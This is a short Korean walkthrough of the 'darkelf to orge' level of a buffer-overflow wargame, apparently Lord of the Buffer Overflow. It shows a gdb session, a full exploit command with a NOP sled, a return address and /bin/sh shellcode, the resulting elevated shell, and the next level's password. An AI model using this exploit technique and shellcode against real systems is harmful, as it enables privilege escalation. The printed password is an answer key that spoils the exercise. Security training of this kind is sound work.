darkelf to orge
코드를 보면
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
이것이 포함되어있는데
argv[0]은 파일의 위치를 나타내는 것이다. 그것의 길이가 77이 되야한다.
그래서 폴더를 만들어 길이를 77로 마추는 작업을 해준다.
strlen("/home/darkelf/[폴더이름]/orge") = 77
strlen("[폴더이름]")=77-strlen("/home/darkelf//orge")
이므로, 폴더이름은 58글자가 되야한다.
그리고 입력할때 상대주소로 입력하면 안되고 절대주소로 입력하여 프로그램을 실행시켜야 한다.
bash2를 사용해야한다.
(gdb) x/2s 0xbffffd21
0xbffffd21: "/home/darkelf/", 'a' <repeats 58 times>, "/org1"
0xbffffd6f: 'a' <repeats 47 times>, "?
argv[2]의 주소를 체크하고, 공격!
[darkelf@localhost aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]$ /home/darkelf/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa/orge `perl -e 'print "\x90"x44,"\x6f\xfc\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x
50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱o?
풺ash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker